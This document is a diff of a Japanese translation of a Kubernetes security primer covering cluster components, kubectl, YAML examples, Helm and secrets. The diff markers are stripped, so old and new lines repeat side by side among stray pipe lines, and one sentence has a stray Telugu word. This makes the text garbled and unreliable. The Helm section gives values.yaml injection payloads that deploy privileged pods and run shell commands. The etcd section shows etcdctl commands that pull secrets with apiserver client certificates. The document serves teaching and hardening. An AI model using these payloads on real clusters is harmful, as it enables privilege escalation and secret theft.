- **etcd**: Data storage、persistent、consistent、distributed。Kubernetes の database であり、clusters の完全な state を保持する key-value storage(すべての変更はここに記録される)。Scheduler や Controller manager のような Components は、どの変更が発生したか(nodes の利用可能な resources、稼働中の pods 数など)を知るためにこの data に依存する。
|
||||
- **Cloud controller manager**: AWS や OpenStack などで、flow controls と applications のための特定の controller。
|
||||
- **Api Server:** users と pods が master process と通信するための方法。認証された request のみを許可すべき。
|
||||
- **Scheduler**: Scheduling とは、Pods が Nodes に割り当てられ、Kubelet がそれらを実行できるようにすること。どの node により多くの利用可能な resources があるかを判断し、新しい pod をそこに割り当てる十分な知能を持つ。scheduler は新しい pods を起動するのではなく、node 内で動作している Kubelet process と通信するだけで、その Kubelet が新しい pod を起動する。
|
||||
- **Kube Controller manager**: replica sets や deployments などの resources を確認し、例えば正しい数の pods や nodes が稼働しているかをチェックする。pod が不足している場合は、scheduler と通信して新しいものを起動する。replication、tokens、account services を API に対して制御する。
|
||||
- **etcd**: Data storage で、persistent、consistent、distributed。Kubernetes の database であり、cluster の完全な state を保持する key-value storage(各変更はここに記録される)。Scheduler や Controller manager などの components は、どの変更が起きたか(nodes の利用可能 resources、稼働中の pods 数など)を知るためにこの date に依存する。
|
||||
- **Cloud controller manager**: flow controls と applications 用の特定の controller。たとえば AWS や OpenStack に cluster がある場合。
|
||||
|
||||
複数の nodes(複数の pods を実行)があるように、Api server へのアクセスが load balanced され、etcd が同期された複数の master processes がある場合もあることに注意。
|
||||
複数の nodes(複数の pods を実行)があり得るのと同様に、複数の master processes もあり得る。その場合、Api server へのアクセスは load balanced され、etcd は synchronized される。
|
||||
|
||||
**Volumes:**
|
||||
|
||||
pod が、pod が消えても失われてほしくない data を作成した場合、それは physical volume に保存すべき。**Kubernetes allow to attach a volume to a pod to persist the data**。volume は local machine に置くことも、**remote storage** に置くこともできる。異なる physical nodes で pods を実行している場合は、すべての pods がアクセスできるよう remote storage を使うべき。
|
||||
pod が消えても失われてほしくない data を作成した場合、それは physical volume に保存すべき。**Kubernetes allow to attach a volume to a pod to persist the data**。volume は local machine に置くことも、**remote storage** に置くこともできる。異なる physical nodes で pods を動かすなら、すべての pods がアクセスできるよう remote storage を使うべき。
|
||||
|
||||
Kubernetes は最近の versions で **image volumes** もサポートする。`image` volume は OCI image または artifact を Pod 内の **read-only** filesystem source として mount し、`volumes[].image.reference` や `volumes[].image.pullPolicy` のような fields を使う。kubelet は container images と同じ credential sources を使って artifact を pull する。これには node credentials、Pod の `imagePullSecrets`、ServiceAccount の `imagePullSecrets` が含まれる。security review では image volumes を runtime inputs および supply-chain dependencies として扱うこと: reference が digest で pinned されているか、どの registry credentials が取得できるか、どこに mount されるか、そして `subPath` が visible directory を制限しているかを確認する。
|
||||
Kubernetes は最近の versions で **image volumes** もサポートする。`image` volume は OCI image または artifact を Pod 内の **read-only** filesystem source としてマウントし、`volumes[].image.reference` や `volumes[].image.pullPolicy` のような fields を使う。kubelet は container images と同じ credential sources を使って artifact を pull し、node credentials、Pod `imagePullSecrets`、ServiceAccount `imagePullSecrets` を含む。security review では image volumes を runtime inputs と supply-chain dependencies として扱うこと。reference が digest で pin されているか、どの registry credentials で取得できるか、どこにマウントされるか、`subPath` が見える directory を制限しているかを確認する。
|
||||
|
||||
**Other configurations:**
|
||||
|
||||
- **ConfigMap**: **URLs** を設定して services にアクセスできる。pod はここから data を取得し、残りの services(pods)とどう通信するかを知る。ただし、credentials を保存する推奨場所ではない。
|
||||
- **Secret**: passwords、API keys... のような secret data を B64 で encoded して **store** する場所。pod は必要な credentials を使うためにこの data にアクセスできる。
|
||||
- **Deployments**: kubernetes によって実行される components を指定する場所。ユーザーは通常 pods を直接扱わず、pods は **ReplicaSets**(同じ pods の複製数)に抽象化され、それらは deployments 経由で実行される。deployments は **stateless** applications 用である点に注意。deployment の最小設定は name と実行する image。
|
||||
- **ConfigMap**: **URLs** を設定して services にアクセスできる。pod はここから data を取得し、他の services(pods)とどう通信するかを知る。ただし、credentials を保存する場所としては推奨されない。
|
||||
- **Secret**: passwords、API keys... のような secret data を B64 でエンコードして **store** する場所。pod は必要な credentials を使うためにこの data にアクセスできる。
|
||||
- **Deployments**: kubernetes によって実行される components を指定する場所。ユーザーは通常 pods を直接扱わず、pods は **ReplicaSets**(同じ pods の複製数)に抽象化され、それらは deployments 経由で実行される。deployments は **stateless** applications 向け。deployment の最小設定は name と実行する image。
|
||||
- **StatefulSet**: **databases** のように **同じ storage にアクセスする必要がある** applications 向けの component。
|
||||
- **Ingress**: application を **URL で public に公開する** ための設定。external services を使っても可能だが、application を公開する正しい方法はこれ。
|
||||
- Ingress を実装する場合は **Ingress Controllers** を作成する必要がある。Ingress Controller は **pod** で、request を受け取りチェックし、それらを services に load balance する endpoint になる。ingress controller は **configured された ingress rules に基づいて request を送信する**。ingress rules は、異なる paths や subdomains を異なる internal kubernetes services に向けられる点に注意。
|
||||
- より良い security practice は、cloud load balancer や proxy server を entrypoint として使い、Kubernetes cluster のどの部分も exposed にしないこと。
|
||||
- どの ingress rule にも一致しない request を受信した場合、ingress controller はそれを "**Default backend**" に direct する。この parameter の address を得るには ingress controller を `describe` できる。
|
||||
- **Ingress**: application を **URL で public に公開する** ための configuration。external services を使ってもできるが、application を公開する正しい方法はこれ。
|
||||
- Ingress を実装するなら **Ingress Controllers** を作成する必要がある。Ingress Controller は **pod** であり、request を受け取って確認し、それらを services に load balance する endpoint になる。ingress controller は **設定された ingress rules に基づいて request を送る**。ingress rules は異なる paths や subdomains を、別々の internal kubernetes services に向けることができる。
|
||||
- さらに安全な practice は、cloud load balancer や proxy server を entrypoint として使い、Kubernetes cluster の一部を exposed にしないこと。
|
||||
- どの ingress rule にも一致しない request を受け取った場合、ingress controller はそれを "**Default backend**" に送る。この parameter の address を得るには ingress controller を `describe` できる。
|
||||
- `minikube addons enable ingress`
|
||||
|
||||
### PKI infrastructure - Certificate Authority CA:
|
||||
@@ -58,9 +58,9 @@ Kubernetes は最近の versions で **image volumes** もサポートする。`
|
||||

|
||||
|
||||
- CA is the trusted root for all certificates inside the cluster.
|
||||
- Components が互いを validate できるようにする。
|
||||
- すべての cluster certificates は CA によって signed される。
|
||||
- ETCd は独自の certificate を持つ。
|
||||
- components が互いに validate することを可能にする。
|
||||
- すべての cluster certificates は CA によって署名される。
|
||||
- ETCd has its own certificate.
|
||||
- types:
|
||||
- apiserver cert.
|
||||
- kubelet cert.
|
||||
@@ -70,7 +70,7 @@ Kubernetes は最近の versions で **image volumes** もサポートする。`
|
||||
|
||||
### Minikube
|
||||
|
||||
**Minikube** は、完全な kubernetes environment を deploy しなくても kubernetes でいくつかの **quick tests** を行うために使える。**master と node processes を1台の machine で**実行する。Minikube は node を実行するために virtualbox を使う。インストール方法は[**こちら**](https://minikube.sigs.k8s.io/docs/start/)。
|
||||
**Minikube** は、完全な kubernetes environment を deploy しなくても、kubernetes 上でいくつかの **quick tests** を行うために使える。**master と node processes を 1台の machine で** 実行する。Minikube は node を実行するために virtualbox を使う。インストール方法は [**here how to install it**](https://minikube.sigs.k8s.io/docs/start/) を参照。
|
||||
```
|
||||
$ minikube start
|
||||
😄 minikube v1.19.0 on Ubuntu 20.04
|
||||
@@ -107,7 +107,7 @@ $ minikube delete
|
||||
```
|
||||
### Kubectl Basics
|
||||
|
||||
**`Kubectl`** は kubernetes clusters のための command line tool です。Master process の Api server と通信して、kubernetes で actions を実行したり、data を取得したりします。
|
||||
**`Kubectl`** は kubernetes クラスター向けのコマンドラインツールです。master process の Api server と通信して、kubernetes 内で操作を実行したり、データを取得したりします。
|
||||
```bash
|
||||
kubectl version #Get client and server version
|
||||
kubectl get pod
|
||||
@@ -155,12 +155,12 @@ http://127.0.0.1:50034/api/v1/namespaces/kubernetes-dashboard/services/http:kube
|
||||
```
|
||||
### YAML configuration files examples
|
||||
|
||||
Each configuration file has 3 parts: **metadata**, **specification** (what need to be launch), **status** (desired state).\
|
||||
deployment configuration file の specification の中には、実行する image を定義する新しい configuration structure で定義された template を見つけることができます:
|
||||
各 configuration file には 3 つの部分があります: **metadata**, **specification** (what need to be launch), **status** (desired state).\
|
||||
deployment configuration file の specification 内には、実行する image を定義する新しい configuration structure で定義された template を見つけることができます:
|
||||
|
||||
**同じ configuration file 内で宣言された Deployment + Service の例(** [**here**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**から)**
|
||||
**同じ configuration file 内で宣言された Deployment + Service の例 (from** [**here**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)**
|
||||
|
||||
service は通常 1つの deployment に関連付けられるため、同じ configuration file に両方を宣言することが可能です(この config で宣言された service は内部からのみアクセス可能です):
|
||||
通常 service は 1 つの deployment に関連付けられているため、両方を同じ configuration file に宣言することが可能です (この config で宣言された service は内部からのみアクセス可能です):
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
@@ -207,7 +207,7 @@ ports:
|
||||
port: 27017
|
||||
targetPort: 27017
|
||||
```
|
||||
**外部サービス設定の例**
|
||||
**外部 service の config の例**
|
||||
|
||||
この service は外部からアクセス可能になります(`nodePort` と `type: LoadBlancer` 属性を確認してください):
|
||||
```yaml
|
||||
@@ -227,11 +227,11 @@ targetPort: 8081
|
||||
nodePort: 30000
|
||||
```
|
||||
> [!NOTE]
|
||||
> これはテストには便利ですが、production では internal services のみを持ち、アプリケーションを公開するために Ingress を使うべきです。
|
||||
> これはテストには便利ですが、production では internal services のみを持ち、application を expose するために Ingress を使うべきです。
|
||||
|
||||
**Ingress config file の例**
|
||||
**Example of Ingress config file**
|
||||
|
||||
これにより、アプリケーションは `http://dashboard.com` で公開されます。
|
||||
これにより、application は `http://dashboard.com` で expose されます。
|
||||
```yaml
|
||||
apiVersion: networking.k8s.io/v1
|
||||
kind: Ingress
|
||||
@@ -247,9 +247,9 @@ paths:
|
||||
serviceName: kubernetes-dashboard
|
||||
servicePort: 80
|
||||
```
|
||||
**secrets config fileの例**
|
||||
**secrets config file の例**
|
||||
|
||||
passwordがB64でエンコードされていることに注意してください(これはsecureではありません!)
|
||||
password が B64 でエンコードされていることに注目してください(これは secure ではありません!)
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -262,7 +262,7 @@ mongo-root-password: cGFzc3dvcmQ=
|
||||
```
|
||||
**ConfigMap の例**
|
||||
|
||||
**ConfigMap** は、pods に与えられる設定で、他の services をどのように見つけてアクセスするかを知るためのものです。この場合、各 pod は `mongodb-service` という名前が、通信できる pod のアドレスであることを知ります(この pod は mongodb を実行します):
|
||||
**ConfigMap** は、pods に与えられる設定であり、他の services をどのように見つけてアクセスするかを知るためのものです。この場合、各 pod は `mongodb-service` という名前が、通信できる pod のアドレスであることを知ります(この pod は mongodb を実行します):
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: ConfigMap
|
||||
@@ -271,7 +271,7 @@ name: mongodb-configmap
|
||||
data:
|
||||
database_url: mongodb-service
|
||||
```
|
||||
その後、**deployment config** 内で、このアドレスは次のように指定でき、pod の env に読み込まれます:
|
||||
その後、**deployment config** 内で、このアドレスは次のように指定でき、pod の env 内に読み込まれます:
|
||||
```yaml
|
||||
[...]
|
||||
spec:
|
||||
@@ -292,18 +292,18 @@ name: mongodb-configmap
|
||||
key: database_url
|
||||
[...]
|
||||
```
|
||||
**Example of volume config**
|
||||
**volume config の例**
|
||||
|
||||
さまざまな storage configuration yaml files の例は [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes) で見つけられます。\
|
||||
[https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes) で、storage configuration のさまざまな yaml ファイルの例を見つけることができます。\
|
||||
**volumes は namespaces の中にないことに注意してください**
|
||||
|
||||
### Namespaces
|
||||
|
||||
Kubernetes は、同じ physical cluster を基盤とする **複数の virtual clusters** をサポートしています。これらの virtual clusters は **namespaces** と呼ばれます。これは、複数の teams や projects にまたがる多くの users がいる環境で使うことを想定しています。数人から数十人程度の users の cluster では、namespaces を作成したり意識したりする必要はありません。kubernetes にデプロイされた application の各部分をより適切に制御し整理したいときに、初めて namespaces を使い始めるべきです。
|
||||
Kubernetes は、同じ physical cluster によって支えられる**複数の virtual clusters**をサポートしています。これらの virtual clusters は**namespaces**と呼ばれます。これは、複数のチームや project にまたがる多くのユーザーがいる環境で使うことを意図しています。数人から数十人規模のユーザーがいる cluster では、namespace を作成したり、そもそも気にしたりする必要はありません。kubernetes にデプロイされた application の各部分をよりよく制御・整理したい場合にのみ、namespace を使い始めれば十分です。
|
||||
|
||||
Namespaces は names の scope を提供します。resources の names は、同じ namespace 内で一意である必要がありますが、namespace をまたいで一意である必要はありません。Namespaces は互いに入れ子にすることはできず、各 Kubernetes **resource** は **1つの** namespace にしか **属せません**。
|
||||
Namespaces は名前の scope を提供します。resource の名前は、namespace 内では一意である必要がありますが、namespace をまたいで一意である必要はありません。Namespaces を互いに入れ子にすることはできず、**各** Kubernetes **resource** は **1つの** **namespace** にしか **存在**できません。
|
||||
|
||||
minikube を使っている場合、デフォルトで 4 つの namespaces があります:
|
||||
minikube を使っている場合、デフォルトで 4 つの namespace があります:
|
||||
```
|
||||
kubectl get namespace
|
||||
NAME STATUS AGE
|
||||
@@ -312,39 +312,100 @@ kube-node-lease Active 1d
|
||||
kube-public Active 1d
|
||||
kube-system Active 1d
|
||||
```
|
||||
- **kube-system**: ユーザーが使うためのものではなく、触るべきではありません。master と kubectl プロセス用です。
|
||||
- **kube-public**: 公開アクセス可能なデータ。cluster information を含む configmap を含みます
|
||||
- **kube-node-lease**: node の availability を決定します
|
||||
- **default**: ユーザーが resource を作成するために使う namespace です
|
||||
- **kube-system**: ユーザーが使うことを想定しておらず、触るべきではありません。master と kubectl のプロセス用です。
|
||||
- **kube-public**: 公開アクセス可能なデータ。cluster 情報を含む configmap を含みます
|
||||
- **kube-node-lease**: node の可用性を判定します
|
||||
- **default**: ユーザーがリソースを作成するために使う namespace
|
||||
```bash
|
||||
#Create namespace
|
||||
kubectl create namespace my-namespace
|
||||
```
|
||||
> [!NOTE]
|
||||
> Kubernetesのほとんどのリソース(例: pods, services, replication controllers, その他)は、いくつかのnamespace内にあります。ただし、namespace resources や nodes, persistenVolumes のような low-level resources は namespace 内にはありません。どのKubernetes resources が namespace 内にあり、どれが namespace 内にないかを確認するには:
|
||||
> Kubernetesのリソースの多く(例: pods, services, replication controllers など)は、いずれかのnamespaceに属しています。しかし、namespace resources や、nodes や persistenVolumes のような low-level resources は namespace に属しません。どの Kubernetes resources が namespace に属し、どれが属していないかを確認するには、次を実行します:
|
||||
>
|
||||
> ```bash
|
||||
> kubectl api-resources --namespaced=true #In a namespace
|
||||
> kubectl api-resources --namespaced=false #Not in a namespace
|
||||
> ```
|
||||
|
||||
その context で、その後のすべての kubectl commands に対して namespace を保存できます。
|
||||
そのcontextに対して、以降のすべての kubectl commands 用に namespace を保存できます。
|
||||
```bash
|
||||
kubectl config set-context --current --namespace=<insert-namespace-name-here>
|
||||
```
|
||||
### Helm
|
||||
|
||||
Helm は Kubernetes の **package manager** です。YAML ファイルをパッケージ化して、public および private repositories に配布できます。これらのパッケージは **Helm Charts** と呼ばれます。
|
||||
Helm は Kubernetes の **package manager** です。YAML ファイルをパッケージ化して、public および private repositories で配布できます。これらのパッケージは **Helm Charts** と呼ばれます。
|
||||
```
|
||||
helm search <keyword>
|
||||
```
|
||||
Helmは、変数を使って設定ファイルを生成できるテンプレートエンジンでもあります:
|
||||
Helm は、変数を使って config files を生成できる template engine でもあります:
|
||||
|
||||
### Helm `.Values` YAML injection
|
||||
|
||||
ある chart が **attacker-controlled values** を YAML に直接挿入する場合、テンプレートが明示的に quote、convert、または validate しない限り、Helm はそれらを **raw YAML content** として **render** します。これは、**GitOps** 環境(たとえば **ArgoCD**)では特に危険です。というのも、開発者は `values.yaml` మాత్రమేを変更することしか許可されておらず、chart は trusted だと想定されているためです。
|
||||
|
||||
**Typical vulnerable patterns:**
|
||||
```yaml
|
||||
spec:
|
||||
replicas: {{ .Values.replicaCount }}
|
||||
...
|
||||
image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
|
||||
```
|
||||
攻撃者がそれらの値を制御できる場合、YAML multiline scalars(`|` または `|-`)を悪用して、**想定されたコンテキストを壊し**、適切なインデントレベルで **新しいフィールド** を注入し、さらに `---` を使って **新しい YAML documents** まで注入できます。
|
||||
|
||||
### Exploitation ideas
|
||||
|
||||
- **scalarのように見える値からの field injection**:
|
||||
```yaml
|
||||
replicaCount: |
|
||||
3
|
||||
injectedAttribute: true
|
||||
```
|
||||
これは、数値に見えるフィールドを追加の manifest 属性に変換できます。
|
||||
|
||||
- **Quoted-context breakout** により、`command`、`args`、または `securityContext` などの container 属性を注入する:
|
||||
```yaml
|
||||
image:
|
||||
tag: |-
|
||||
1.0.0"
|
||||
securityContext:
|
||||
privileged: true
|
||||
command: ["/bin/sh", "-c"]
|
||||
args: ["id"]
|
||||
```
|
||||
- **Arbitrary object injection** は、`---` で追加の YAML ドキュメントを作成することで行われ、Helm/ArgoCD の service account に作成権限があれば、`Namespace`、`Pod`、`Role`、`ClusterRole`、`RoleBinding`、`ClusterRoleBinding` などのリソースを作成する可能性があります。これは [RBAC abuse](kubernetes-role-based-access-control-rbac.md)、[abusing dangerous roles](abusing-roles-clusterroles-in-kubernetes/)、[namespace pivoting](kubernetes-namespace-escalation.md) に直接つながります。
|
||||
|
||||
> [!WARNING]
|
||||
> 脆弱な chart の `values.yaml` を制御できると、**arbitrary workload creation**、**Pods 内での command execution**、**privileged Pod deployment**、場合によっては **cluster compromise** につながる可能性があります。
|
||||
|
||||
### Helm v3 vs Helm v4
|
||||
|
||||
- **Helm v3** は、最終的なレンダリング結果が有効な YAML である限り、注入された未知のフィールドを受け入れる場合があります。
|
||||
- **Helm v4** はデフォルトで **Server-Side Apply** を使用し、Kubernetes schema に対して複数の無効なフィールドを拒否します。
|
||||
- ただし、**Helm v4 でも問題は完全には解決されません**。攻撃者は依然として **有効な resources を先に注入** し、壊れた context を吸収するために最後に無効な object を追加できるため、以前に注入された有効な resources は作成されます。
|
||||
|
||||
### Defensive patterns
|
||||
|
||||
すべての Helm value を **untrusted input** として扱います:
|
||||
```yaml
|
||||
image: {{ printf "%s:%s" .Values.image.repository .Values.image.tag | quote }}
|
||||
replicas: {{ .Values.replicaCount | int }}
|
||||
{{- if not (regexMatch "^(latest|1\.1|dev)$" .Values.image.tag) }}
|
||||
{{- fail "invalid image.tag" }}
|
||||
{{- end }}
|
||||
```
|
||||
Additional hardening:
|
||||
|
||||
- `values.schema.json` を使って `helm template`, `helm install`, `helm upgrade`, `helm lint` の間に **types**、**required keys**、**regex patterns** を強制する。
|
||||
- **ArgoCD** では、`AppProject` ルールの `clusterResourceWhitelist` などを使って application が作成できる kind を制限し、可能な限り **namespace-scoped** な ArgoCD permissions を優先する。
|
||||
- **ValidatingAdmissionPolicy** / **ValidatingAdmissionPolicyBinding**、Kyverno、または Gatekeeper ルールを使って、レンダリングが侵害されていても **privileged Pods** のような危険な出力をブロックする。
|
||||
- 対象 namespace が Pod Security controls で保護されている場合、攻撃者がそれらの controls が適用されない **new namespace** を注入できるか確認し、その new workload を [pod escape](abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md) や、[post-compromise attacks from inside a pod](attacking-kubernetes-from-inside-a-pod.md) の続行に使う。
|
||||
|
||||
## Kubernetes secrets
|
||||
|
||||
**Secret** は、password、token、key などの**機密データ**を**含む**オブジェクトです。このような情報は、Pod specification や image の中に入れられることもあります。Users は Secrets を作成でき、system も Secrets を作成します。Secret オブジェクトの name は、有効な **DNS subdomain name** でなければなりません。詳細は[official documentation](https://kubernetes.io/docs/concepts/configuration/secret/)を参照してください。
|
||||
**Secret** は、パスワード、token、key などの機密データを **contains** する object である。このような情報は、Pod specification や image の中に置かれることもある。Users は Secrets を作成でき、system も Secrets を作成する。Secret object の name は有効な **DNS subdomain name** でなければならない。詳細は[official documentation](https://kubernetes.io/docs/concepts/configuration/secret/)を参照。
|
||||
|
||||
Secrets には次のようなものがあります:
|
||||
Secrets には、たとえば次のようなものがある:
|
||||
|
||||
- API, SSH Keys.
|
||||
- OAuth tokens.
|
||||
@@ -352,11 +413,11 @@ Secrets には次のようなものがあります:
|
||||
- Information or comments.
|
||||
- Database connection code, strings… .
|
||||
|
||||
Kubernetes にはさまざまな種類の secrets があります
|
||||
Kubernetes には異なる type の secrets がある
|
||||
|
||||
| Builtin Type | Usage |
|
||||
| ----------------------------------- | ----------------------------------------- |
|
||||
| **Opaque** | **任意のユーザー定義データ (Default)** |
|
||||
| **Opaque** | **arbitrary user-defined data (Default)** |
|
||||
| kubernetes.io/service-account-token | service account token |
|
||||
| kubernetes.io/dockercfg | serialized \~/.dockercfg file |
|
||||
| kubernetes.io/dockerconfigjson | serialized \~/.docker/config.json file |
|
||||
@@ -366,13 +427,13 @@ Kubernetes にはさまざまな種類の secrets があります
|
||||
| bootstrap.kubernetes.io/token | bootstrap token data |
|
||||
|
||||
> [!NOTE]
|
||||
> **Opaque type はデフォルトで、ユーザーが定義する典型的な key-value pair です。**
|
||||
> **Opaque type は default であり、users が定義する典型的な key-value pair である。**
|
||||
|
||||
**secret の動作:**
|
||||
**How secrets works:**
|
||||
|
||||

|
||||
|
||||
次の configuration file は、`mysecret` という **secret** を定義し、2つの key-value pair `username: YWRtaW4=` と `password: MWYyZDFlMmU2N2Rm` を持ちます。また、`secretpod` という **pod** も定義しており、`mysecret` で定義された `username` と `password` を **environment variables** `SECRET_USERNAME` \_\_ および \_\_ `SECRET_PASSWOR` として公開します。さらに、`mysecret` 内の `username` secret を path `/etc/foo/my-group/my-username` に `0640` permissions で **mount** します。
|
||||
次の configuration file は、`mysecret` という **secret** を定義し、2 つの key-value pair `username: YWRtaW4=` と `password: MWYyZDFlMmU2N2Rm` を持つ。また、`secretpod` という **pod** を定義し、`mysecret` で定義された `username` と `password` を **environment variables** `SECRET_USERNAME` \_\_ および \_\_ `SECRET_PASSWOR` として exposed する。さらに、`mysecret` 内の `username` secret を path `/etc/foo/my-group/my-username` に `0640` permissions で **mount** する。
|
||||
```yaml:secretpod.yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -422,27 +483,27 @@ kubectl get pods #Wait until the pod secretpod is running
|
||||
kubectl exec -it secretpod -- bash
|
||||
env | grep SECRET && cat /etc/foo/my-group/my-username && echo
|
||||
```
|
||||
### etcd内のSecrets <a href="#discover-secrets-in-etcd" id="discover-secrets-in-etcd"></a>
|
||||
### etcd 内の Secrets <a href="#discover-secrets-in-etcd" id="discover-secrets-in-etcd"></a>
|
||||
|
||||
**etcd** は、Kubernetesのバックエンドストアとして使われる、一貫性があり高可用な **key-value store** で、すべてのクラスタデータを保存します。では、etcdに保存されているSecretsにアクセスしてみましょう:
|
||||
**etcd** は、Kubernetes がすべての cluster data の backing store として使用する、一貫性があり高可用な **key-value store** です。etcd に保存されている secrets にアクセスしてみましょう:
|
||||
```bash
|
||||
cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd
|
||||
```
|
||||
certs、keys、URL は FS 内のどこにあるか分かるでしょう。それを入手できれば、etcd に接続できるようになります。
|
||||
FS 内に certs、keys、url’s があるのが見えるでしょう。それを入手すれば、etcd に接続できるようになります。
|
||||
```bash
|
||||
#ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] health
|
||||
|
||||
ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] health
|
||||
```
|
||||
通信を確立できれば、secrets を取得できるようになります:
|
||||
通信を確立できれば、秘密情報を取得できるようになります:
|
||||
```bash
|
||||
#ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] get <path/to/secret>
|
||||
|
||||
ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] get /registry/secrets/default/secret_02
|
||||
```
|
||||
**ETCD に encryption を追加する**
|
||||
**ETCDに encryption を追加する**
|
||||
|
||||
デフォルトでは、すべての secret は encryption layer を適用しない限り etcd 内に **plain** text で保存されます。以下の例は [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/) に基づいています
|
||||
デフォルトでは、すべての secrets は encryption layer を適用しない限り etcd 内に plain text で **stored in plain** のまま保存されます。以下の例は [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/) に基づいています
|
||||
```yaml:encryption.yaml
|
||||
apiVersion: apiserver.config.k8s.io/v1
|
||||
kind: EncryptionConfiguration
|
||||
@@ -456,20 +517,20 @@ keys:
|
||||
secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key
|
||||
- identity: {}
|
||||
```
|
||||
その後、作成した config file の場所を指すように `kube-apiserver` の `--encryption-provider-config` フラグを設定する必要があります。`/etc/kubernetes/manifest/kube-apiserver.yaml` を修正して、以下の lines を追加できます:
|
||||
その後、`kube-apiserver` に `--encryption-provider-config` フラグを設定して、作成した config file の場所を指すようにする必要があります。`/etc/kubernetes/manifest/kube-apiserver.yaml` を変更して、以下の行を追加できます:
|
||||
```yaml
|
||||
containers:
|
||||
- command:
|
||||
- kube-apiserver
|
||||
- --encriyption-provider-config=/etc/kubernetes/etcd/<configFile.yaml>
|
||||
```
|
||||
volumeMounts までスクロールしてください:
|
||||
volumeMounts で下へスクロールしてください:
|
||||
```yaml
|
||||
- mountPath: /etc/kubernetes/etcd
|
||||
name: etcd
|
||||
readOnly: true
|
||||
```
|
||||
volumeMounts までスクロールして hostPath: を探してください
|
||||
volumeMounts までスクロールして hostPath: を確認してください
|
||||
```yaml
|
||||
- hostPath:
|
||||
path: /etc/kubernetes/etcd
|
||||
@@ -478,7 +539,7 @@ name: etcd
|
||||
```
|
||||
**データが暗号化されていることの確認**
|
||||
|
||||
データは etcd に書き込まれるときに暗号化されます。`kube-apiserver` を再起動した後、新しく作成または更新された secret は、保存時に暗号化されるはずです。確認するには、`etcdctl` コマンドラインプログラムを使って secret の内容を取得します。
|
||||
データは etcd に書き込まれるときに暗号化されます。`kube-apiserver` を再起動した後に新規作成または更新された secret は、保存時に暗号化されるはずです。確認するには、`etcdctl` command line program を使って secret の内容を取得できます。
|
||||
|
||||
1. `default` namespace に `secret1` という新しい secret を作成します:
|
||||
|
||||
@@ -486,13 +547,13 @@ name: etcd
|
||||
kubectl create secret generic secret1 -n default --from-literal=mykey=mydata
|
||||
```
|
||||
|
||||
2. etcdctl コマンドラインを使って、その secret を etcd から読み出します:
|
||||
2. etcdctl commandline を使って、その secret を etcd から読み出します:
|
||||
|
||||
`ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C`
|
||||
|
||||
ここで `[...]` は etcd server に接続するための追加引数です。
|
||||
|
||||
3. 保存された secret が `k8s:enc:aescbc:v1:` で始まっていることを確認します。これは `aescbc` provider が結果の data を暗号化したことを示します。
|
||||
3. 保存された secret の先頭に `k8s:enc:aescbc:v1:` が付いていることを確認します。これは `aescbc` provider が結果のデータを暗号化したことを示します。
|
||||
4. API 経由で取得したときに secret が正しく復号されることを確認します:
|
||||
|
||||
```
|
||||
@@ -501,14 +562,14 @@ kubectl describe secret secret1 -n default
|
||||
|
||||
は `mykey: bXlkYXRh` と一致するはずです。mydata は encoded されています。secret を完全に decode するには [decoding a secret](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) を確認してください。
|
||||
|
||||
**secret は write 時に暗号化されるため、secret を update するとその content も暗号化されます:**
|
||||
**secrets は書き込み時に暗号化されるため、secret を更新するとその内容も暗号化されます:**
|
||||
```
|
||||
kubectl get secrets --all-namespaces -o json | kubectl replace -f -
|
||||
```
|
||||
**Final tips:**
|
||||
**最終的なヒント:**
|
||||
|
||||
- FS に secrets を置いたままにしないようにし、他の場所から取得してください。
|
||||
- secrets をさらに保護するために [https://www.vaultproject.io/](https://www.vaultproject.io) を確認してください。
|
||||
- FS に secret を置かないようにし、別の場所から取得するようにしましょう。
|
||||
- secret の保護を強化するために [https://www.vaultproject.io/](https://www.vaultproject.io) を確認してください。
|
||||
- [https://kubernetes.io/docs/concepts/configuration/secret/#risks](https://kubernetes.io/docs/concepts/configuration/secret/#risks)
|
||||
- [https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm](https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm)
|
||||
|
||||
@@ -522,12 +583,13 @@ https://sickrov.github.io/
|
||||
https://www.youtube.com/watch?v=X48VuDVv0do
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://kubernetes.io/docs/concepts/storage/volumes/#image
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
